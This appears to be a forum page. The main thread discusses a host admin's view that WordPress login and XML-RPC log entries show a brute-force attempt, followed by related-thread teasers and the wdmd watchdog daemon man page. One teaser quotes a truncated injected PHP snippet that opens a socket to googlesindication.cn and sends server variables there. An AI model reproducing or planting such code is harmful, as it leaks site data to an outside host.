02-24-2017
Nothing right now.
---------- Post updated at 11:07 AM ---------- Previous update was at 10:56 AM ----------
This is what my host admin said currently:
Thank you for getting back to us.
The 'HEAD / HTTP/1.0" 200 300' requests you are seeing are multi-choice requests, which require more clarification what sources was actually request. These are typically generated by bad redirects from outside sources via incorrect links.
Regarding the 'POST /wp-login.php HTTP/1.0" 200' and 'POST /xmlrpc.php HTTP/1.0" 404' logs, those are most likely due to someone trying to brute-force your WordPress website. This is an indication of an XML-RPC attack. I would highly advise you to either password protect wp-login.php or wp-admin, in order to prevent outside access to these crucial parts of your website.
Depending on how well you have secured your WordPress site it may eventually lead to the website being compromised. As I see you are using Fail2Ban for your wordpress sites, it should not be an issue.
So, it should not be an issue? have I blown this all out of proportion and worried for nothing, not to mention everybody's time here. If so, I apologize.
But I'm glad to see this forum is active and willing to help.
7 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
Hello,
Please advise a script/command to remove the following line for a file
<?php
error_reporting(0);
$fn = "googlesindication.cn";
$fp = fsockopen($fn, 80, $errno, $errstr, 15);
if (!$fp) {
} else {
$query='site='.$_SERVER;
$out = "GET /links.php?".$query." HTTP/1.1\r\n";
... (5 Replies)
Discussion started by: fed.linuxgossip
5 Replies
2. Shell Programming and Scripting
Hello
I ask you how to make a
Anti-malicious files and viruses
Or if one of you a small example of the work on the same place and I hope my request
I want a small patch or the process of examination Virus
http://www.google.jo/images/cleardot.gif
---------- Post updated... (1 Reply)
Discussion started by: x-zer0
1 Replies
3. Cybersecurity
A series on The H about analyzing potentially malicious code flying around on the net. Pretty well written, and a nice read for those interested in how exploits work:
CSI:Internet - Alarm at the pizza service
CSI:Internet - The image of death
CSI:Internet - PDF timebomb
CSI:Internet -... (0 Replies)
Discussion started by: pludi
0 Replies
4. Shell Programming and Scripting
I am trying to run a perl script which needs input arguments from a parent perl script, but doesn't seem to work. Appreciate your help in this regard.
From parent.pl
$input1=123;
$input2=abc;
I tried calling it with
system("/usr/bin/perl child.pl $input1 $input2");
and
`perl... (1 Reply)
Discussion started by: grajp002
1 Replies
5. Shell Programming and Scripting
Hi All,
I am aware that html tags can be embedded in cgi script as below.. In the same way is it possible to embed the below javascript in perl cgi script ??
print("<form action="action.htm" method="post" onSubmit="return submitForm(this.Submitbutton)">");
print("<input type = "text"... (1 Reply)
Discussion started by: scriptscript
1 Replies
6. Shell Programming and Scripting
Hello,
i found and malicious looking script on my server, here is its code safelly pasted as a text on pastebin:
Posting links to pastebin scripts are forbidden at this site.
Please what does this script do? It has .pl extension and is on shared cpanel hosting account (1 Reply)
Discussion started by: postcd
1 Replies
7. Programming
I have reviewed many examples on-line about running another process (either PERL or shell command or a program), but do not find any usefull for my needs way. (Reviewed and not useful the system(), 'back ticks', exec() and open())
I would like to run another PERL-script from first one, not... (1 Reply)
Discussion started by: alex_5161
1 Replies
WDMD(8) System Manager's Manual WDMD(8)
NAME
wdmd - watchdog multiplexing daemon
SYNOPSIS
wdmd [OPTIONS]
DESCRIPTION
This daemon opens /dev/watchdog and allows multiple independent sources to detmermine whether each KEEPALIVE is done. Every test interval
(10 seconds), the daemon tests each source. If any test fails, the KEEPALIVE is not done. In a standard configuration, the watchdog timer
will reset the system if no KEEPALIVE is done for 60 seconds ("fire timeout"). This means that if single test fails 5-6 times in row, the
watchdog will fire and reset the system. With multiple test sources, fewer separate failures back to back can also cause a reset, e.g.
T seconds, P pass, F fail
T00: test1 P, test2 P, test3 P: KEEPALIVE done
T10: test1 F, test2 F, test3 P: KEEPALIVE skipped
T20: test1 F, test2 P, test3 P: KEEPALIVE skipped
T30: test1 P, test2 F, test3 P: KEEPALIVE skipped
T40: test1 P, test2 P, test3 F: KEEPALIVE skipped
T50: test1 F, test2 F, test3 P: KEEPALIVE skipped
T60: test1 P, test2 F, test3 P: KEEPALIVE skipped
T60: watchdog fires, system resets
(Depending on timings, the system may be reset sometime shortly before T60, and the tests at T60 would not be run.)
A crucial aspect to the design and function of wdmd is that if any single source does not pass tests for the fire timeout, the watchdog is
guaranteed to fire, regardless of whether other sources on the system have passed or failed. A spurious reset due to the combined effects
of multiple failing tests as shown above, is an accepted side effect.
wdmd will exit if a watchdog driver is not loaded.
wdmd cannot be used on the system with any other program that needs to open /dev/watchdog, e.g. watchdog(8).
Test Source: clients
Using libwdmd, programs connect to wdmd via a unix socket, and send regular messages to wdmd to update an expiry time for their connection.
Every test interval, wdmd will check if the expiry time for a connection has been reached. If so, the test for that client fails.
(Other test sources such as scripts executed each test interval may be added in the future.)
OPTIONS
-D Enable debugging to stderr and don't fork.
-H num Enable (1) or disable (0) high priority features such as realtime scheduling priority and mlockall.
Default 1.
2011-08-01 WDMD(8)